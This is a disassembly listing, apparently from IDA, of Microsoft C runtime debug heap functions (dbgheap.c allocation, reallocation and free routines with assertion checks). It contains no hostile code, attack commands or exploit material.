		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41F06A
		int	3		; Trap to Debugger


loc_41F06A:				; CODE XREF: sub_41EEE0+187j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41F04A


loc_41F070:				; CODE XREF: sub_41EEE0+14Ej
					; sub_41EEE0+154j ...
		mov	eax, [ebp+arg_0]
		add	eax, 24h
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_425BD0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41F095
		xor	eax, eax
		jmp	loc_41F1EC
; ---------------------------------------------------------------------------


loc_41F095:				; CODE XREF: sub_41EEE0+1ACj
		mov	edx, dword_44FEE4
		add	edx, 1
		mov	dword_44FEE4, edx
		cmp	[ebp+var_C], 0
		jz	short loc_41F0F3
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+0Ch], 0FEDCBABCh
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+14h], 3
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+18h], 0
		jmp	loc_41F193
; ---------------------------------------------------------------------------


loc_41F0F3:				; CODE XREF: sub_41EEE0+1C8j
		mov	edx, dword_4E91E4
		add	edx, [ebp+arg_0]
		mov	dword_4E91E4, edx
		mov	eax, dword_4E91EC
		add	eax, [ebp+arg_0]
		mov	dword_4E91EC, eax
		mov	ecx, dword_4E91EC
		cmp	ecx, dword_4E91F0
		jbe	short loc_41F129
		mov	edx, dword_4E91EC
		mov	dword_4E91F0, edx


loc_41F129:				; CODE XREF: sub_41EEE0+23Bj
		cmp	dword_4E91E8, 0
		jz	short loc_41F13F
		mov	eax, dword_4E91E8
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		jmp	short loc_41F148
; ---------------------------------------------------------------------------


loc_41F13F:				; CODE XREF: sub_41EEE0+250j
		mov	edx, [ebp+var_4]
		mov	dword_4E91E0, edx


loc_41F148:				; CODE XREF: sub_41EEE0+25Dj
		mov	eax, [ebp+var_4]
		mov	ecx, dword_4E91E8
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_C]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax+14h], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[edx+18h], eax
		mov	ecx, [ebp+var_4]
		mov	dword_4E91E8, ecx


loc_41F193:				; CODE XREF: sub_41EEE0+20Ej
		push	4
		xor	edx, edx
		mov	dl, byte_44FEEC
		push	edx
		mov	eax, [ebp+var_4]
		add	eax, 1Ch
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	4
		xor	ecx, ecx
		mov	cl, byte_44FEEC
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx+20h]
		push	ecx
		call	sub_421410
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		xor	eax, eax
		mov	al, byte_44FEEE
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		call	sub_421410
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, 20h


loc_41F1EC:				; CODE XREF: sub_41EEE0+DFj
					; sub_41EEE0+13Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41EEE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41F230
		add	esp, 14h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F230	proc near		; CODE XREF: .XComp0:0041F212p
					; sub_4249E0+40p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41F289
		mov	edx, [ebp+var_8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_41F270:				; CODE XREF: sub_41F230+57j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_4]
		jnb	short loc_41F289
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_41F270
; ---------------------------------------------------------------------------


loc_41F289:				; CODE XREF: sub_41F230+2Fj
					; sub_41F230+46j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_41F230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F290	proc near		; CODE XREF: .XComp0:00401136p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41F2C0
		add	esp, 14h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41F290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2C0	proc near		; CODE XREF: sub_41F290+12p
					; sub_423BB0+50p ...

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

; FUNCTION CHUNK AT 0041F32E SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E5C0
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0
		push	1
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41F350
		add	esp, 18h
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41F323
		jmp	short loc_41F32E
sub_41F2C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F323	proc near		; CODE XREF: sub_41F2C0+5Cp
					; DATA XREF: .XComp0:0043E5C8o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_41F323	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F2C0


loc_41F32E:				; CODE XREF: sub_41F2C0+61j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41F2C0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F350	proc near		; CODE XREF: sub_41F2C0+4Ap
					; sub_41F8A0+4Ap

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_14], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F383
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41EDD0
		add	esp, 10h
		jmp	loc_41F85A
; ---------------------------------------------------------------------------


loc_41F383:				; CODE XREF: sub_41F350+14j
		cmp	[ebp+arg_14], 0
		jz	short loc_41F3A6
		cmp	[ebp+arg_4], 0
		jnz	short loc_41F3A6
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41F970
		add	esp, 8
		xor	eax, eax
		jmp	loc_41F85A
; ---------------------------------------------------------------------------


loc_41F3A6:				; CODE XREF: sub_41F350+37j
					; sub_41F350+3Dj
		mov	eax, dword_44FEE0
		and	eax, 4
		test	eax, eax
		jz	short loc_41F3E2


loc_41F3B2:				; CODE XREF: sub_41F350+90j
		call	sub_420130
		test	eax, eax
		jnz	short loc_41F3DC
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	246h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F3DC
		int	3		; Trap to Debugger


loc_41F3DC:				; CODE XREF: sub_41F350+69j
					; sub_41F350+89j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41F3B2


loc_41F3E2:				; CODE XREF: sub_41F350+60j
		mov	edx, dword_44FEE4
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		cmp	eax, dword_44FEE8
		jnz	short loc_41F3F7
		int	3		; Trap to Debugger


loc_41F3F7:				; CODE XREF: sub_41F350+A4j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	2
		call	off_4502B0
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F47C
		cmp	[ebp+arg_C], 0
		jz	short loc_41F44F


loc_41F424:				; CODE XREF: sub_41F350+FBj
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		push	offset aClientHookReAl ; "Client hook re-allocation failure at fi"...
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41F447
		int	3		; Trap to Debugger


loc_41F447:				; CODE XREF: sub_41F350+F4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41F424
		jmp	short loc_41F475
; ---------------------------------------------------------------------------


loc_41F44F:				; CODE XREF: sub_41F350+D2j
					; sub_41F350+123j
		push	offset aClientHookRe_0 ; "Client hook re-allocation failure.\n"
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41F46F
		int	3		; Trap to Debugger


loc_41F46F:				; CODE XREF: sub_41F350+11Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41F44F


loc_41F475:				; CODE XREF: sub_41F350+FDj
		xor	eax, eax
		jmp	loc_41F85A
; ---------------------------------------------------------------------------


loc_41F47C:				; CODE XREF: sub_41F350+CCj
		cmp	[ebp+arg_4], 0FFFFFFDBh
		jbe	short loc_41F4AE


loc_41F482:				; CODE XREF: sub_41F350+155j
		mov	edx, [ebp+arg_4]
		push	edx
		push	offset aAllocationTooL ; "Allocation too large or negative: %u by"...
		push	0
		push	0
		push	0
		push	1
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41F4A1
		int	3		; Trap to Debugger


loc_41F4A1:				; CODE XREF: sub_41F350+14Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41F482
		xor	eax, eax
		jmp	loc_41F85A
; ---------------------------------------------------------------------------


loc_41F4AE:				; CODE XREF: sub_41F350+130j
		cmp	[ebp+arg_8], 1
		jz	short loc_41F4F6
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_41F4F6
		mov	edx, [ebp+arg_8]
		and	edx, 0FFFFh
		cmp	edx, 2
		jz	short loc_41F4F6


loc_41F4D0:				; CODE XREF: sub_41F350+1A4j
		push	offset aErrorMemoryAll ; "Error: memory	allocation: bad	memory bl"...
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	1
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41F4F0
		int	3		; Trap to Debugger


loc_41F4F0:				; CODE XREF: sub_41F350+19Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41F4D0


loc_41F4F6:				; CODE XREF: sub_41F350+162j
					; sub_41F350+170j ...
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_420610
		add	esp, 4
		test	eax, eax
		jnz	short loc_41F527
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	26Eh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F527
		int	3		; Trap to Debugger


loc_41F527:				; CODE XREF: sub_41F350+1B4j
					; sub_41F350+1D4j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41F4F6
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_41F546
		mov	[ebp+var_14], 1


loc_41F546:				; CODE XREF: sub_41F350+1EDj
		cmp	[ebp+var_14], 0
		jz	short loc_41F58A


loc_41F54C:				; CODE XREF: sub_41F350+236j
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_41F561
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_41F582


loc_41F561:				; CODE XREF: sub_41F350+206j
		push	offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"...
		push	0
		push	278h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F582
		int	3		; Trap to Debugger


loc_41F582:				; CODE XREF: sub_41F350+20Fj
					; sub_41F350+22Fj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41F54C
		jmp	short loc_41F5EE
; ---------------------------------------------------------------------------


loc_41F58A:				; CODE XREF: sub_41F350+1FAj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jnz	short loc_41F5AF
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	ecx, 1
		jnz	short loc_41F5AF
		mov	[ebp+arg_8], 2


loc_41F5AF:				; CODE XREF: sub_41F350+248j
					; sub_41F350+256j ...
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jz	short loc_41F5E8
		push	offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
		push	0
		push	27Fh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F5E8
		int	3		; Trap to Debugger


loc_41F5E8:				; CODE XREF: sub_41F350+275j
					; sub_41F350+295j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41F5AF


loc_41F5EE:				; CODE XREF: sub_41F350+238j
		cmp	[ebp+arg_14], 0
		jz	short loc_41F619
		mov	eax, [ebp+arg_4]
		add	eax, 24h
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_425F40
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41F617
		xor	eax, eax
		jmp	loc_41F85A
; ---------------------------------------------------------------------------


loc_41F617:				; CODE XREF: sub_41F350+2BEj
		jmp	short loc_41F63C
; ---------------------------------------------------------------------------


loc_41F619:				; CODE XREF: sub_41F350+2A2j
		mov	edx, [ebp+arg_4]
		add	edx, 24h
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_425D30
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41F63C
		xor	eax, eax
		jmp	loc_41F85A
; ---------------------------------------------------------------------------


loc_41F63C:				; CODE XREF: sub_41F350:loc_41F617j
					; sub_41F350+2E3j
		mov	ecx, dword_44FEE4
		add	ecx, 1
		mov	dword_44FEE4, ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_41F6A7
		mov	edx, [ebp+var_C]
		mov	eax, dword_4E91E4
		sub	eax, [edx+10h]
		mov	dword_4E91E4, eax
		mov	ecx, dword_4E91E4
		add	ecx, [ebp+arg_4]
		mov	dword_4E91E4, ecx
		mov	edx, [ebp+var_C]
		mov	eax, dword_4E91EC
		sub	eax, [edx+10h]
		mov	dword_4E91EC, eax
		mov	ecx, dword_4E91EC
		add	ecx, [ebp+arg_4]
		mov	dword_4E91EC, ecx
		mov	edx, dword_4E91EC
		cmp	edx, dword_4E91F0
		jbe	short loc_41F6A7
		mov	eax, dword_4E91EC
		mov	dword_4E91F0, eax


loc_41F6A7:				; CODE XREF: sub_41F350+2FFj
					; sub_41F350+34Bj
		mov	ecx, [ebp+var_C]
		add	ecx, 20h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		cmp	eax, [edx+10h]
		jbe	short loc_41F6DF
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		sub	edx, [ecx+10h]
		push	edx
		xor	eax, eax
		mov	al, byte_44FEEE
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+10h]
		push	edx
		call	sub_421410
		add	esp, 0Ch


loc_41F6DF:				; CODE XREF: sub_41F350+369j
		push	4
		xor	eax, eax
		mov	al, byte_44FEEC
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421410
		add	esp, 0Ch
		cmp	[ebp+var_14], 0
		jnz	short loc_41F719
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_10]
		mov	[ecx+0Ch], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		mov	[eax+18h], ecx


loc_41F719:				; CODE XREF: sub_41F350+3ACj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		mov	[edx+10h], eax


loc_41F722:				; CODE XREF: sub_41F350+40Bj
		cmp	[ebp+arg_14], 0
		jnz	short loc_41F757
		cmp	[ebp+arg_14], 0
		jnz	short loc_41F736
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_8]
		jz	short loc_41F757


loc_41F736:				; CODE XREF: sub_41F350+3DCj
		push	offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "...
		push	0
		push	2B5h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F757
		int	3		; Trap to Debugger


loc_41F757:				; CODE XREF: sub_41F350+3D6j
					; sub_41F350+3E4j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41F722
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_8]
		jz	short loc_41F76B
		cmp	[ebp+var_14], 0
		jz	short loc_41F773


loc_41F76B:				; CODE XREF: sub_41F350+413j
		mov	eax, [ebp+var_4]
		jmp	loc_41F85A
; ---------------------------------------------------------------------------


loc_41F773:				; CODE XREF: sub_41F350+419j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx], 0
		jz	short loc_41F78B
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		jmp	short loc_41F7C7
; ---------------------------------------------------------------------------


loc_41F78B:				; CODE XREF: sub_41F350+429j
					; sub_41F350+46Aj
		mov	eax, dword_4E91E0
		cmp	eax, [ebp+var_8]
		jz	short loc_41F7B6
		push	offset a_plastblockPol ; "_pLastBlock == pOldBlock"
		push	0
		push	2C4h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F7B6
		int	3		; Trap to Debugger


loc_41F7B6:				; CODE XREF: sub_41F350+443j
					; sub_41F350+463j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41F78B
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	dword_4E91E0, eax


loc_41F7C7:				; CODE XREF: sub_41F350+439j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_41F7DF
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	[eax], edx
		jmp	short loc_41F81A
; ---------------------------------------------------------------------------


loc_41F7DF:				; CODE XREF: sub_41F350+47Ej
					; sub_41F350+4BEj
		mov	eax, dword_4E91E8
		cmp	eax, [ebp+var_8]
		jz	short loc_41F80A
		push	offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock"
		push	0
		push	2CFh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F80A
		int	3		; Trap to Debugger


loc_41F80A:				; CODE XREF: sub_41F350+497j
					; sub_41F350+4B7j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41F7DF
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	dword_4E91E8, eax


loc_41F81A:				; CODE XREF: sub_41F350+48Dj
		cmp	dword_4E91E8, 0
		jz	short loc_41F831
		mov	ecx, dword_4E91E8
		mov	edx, [ebp+var_C]
		mov	[ecx+4], edx
		jmp	short loc_41F839
; ---------------------------------------------------------------------------


loc_41F831:				; CODE XREF: sub_41F350+4D1j
		mov	eax, [ebp+var_C]
		mov	dword_4E91E0, eax


loc_41F839:				; CODE XREF: sub_41F350+4DFj
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4E91E8
		mov	[ecx], edx
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_C]
		mov	dword_4E91E8, ecx
		mov	eax, [ebp+var_4]


loc_41F85A:				; CODE XREF: sub_41F350+2Ej
					; sub_41F350+51j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F350	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41F8A0
		add	esp, 14h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F8A0	proc near		; CODE XREF: .XComp0:0041F882p

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

; FUNCTION CHUNK AT 0041F90E SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E770
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0
		push	0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41F350
		add	esp, 18h
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41F903
		jmp	short loc_41F90E
sub_41F8A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F903	proc near		; CODE XREF: sub_41F8A0+5Cp
					; DATA XREF: .XComp0:0043E778o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_41F903	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F8A0


loc_41F90E:				; CODE XREF: sub_41F8A0+61j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41F8A0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F930	proc near		; CODE XREF: .XComp0:0040117Bp
					; sub_40C6CF+194p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41F970
		add	esp, 8
		pop	ebp
		retn
sub_41F930	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41F9E0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F970	proc near		; CODE XREF: sub_41ECE0+98p
					; sub_41F350+47p ...

var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041F9CD SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E780
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41F9E0
		add	esp, 8
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41F9C2
		jmp	short loc_41F9CD
sub_41F970	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9C2	proc near		; CODE XREF: sub_41F970+4Bp
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_41F9C2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F970


loc_41F9CD:				; CODE XREF: sub_41F970+50j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41F970
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9E0	proc near		; CODE XREF: .XComp0:0041F959p
					; sub_41F970+3Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44FEE0
		and	eax, 4
		test	eax, eax
		jz	short loc_41FA23


loc_41F9F3:				; CODE XREF: sub_41F9E0+41j
		call	sub_420130
		test	eax, eax
		jnz	short loc_41FA1D
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	402h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FA1D
		int	3		; Trap to Debugger


loc_41FA1D:				; CODE XREF: sub_41F9E0+1Aj
					; sub_41F9E0+3Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41F9F3


loc_41FA23:				; CODE XREF: sub_41F9E0+11j
		cmp	[ebp+arg_0], 0
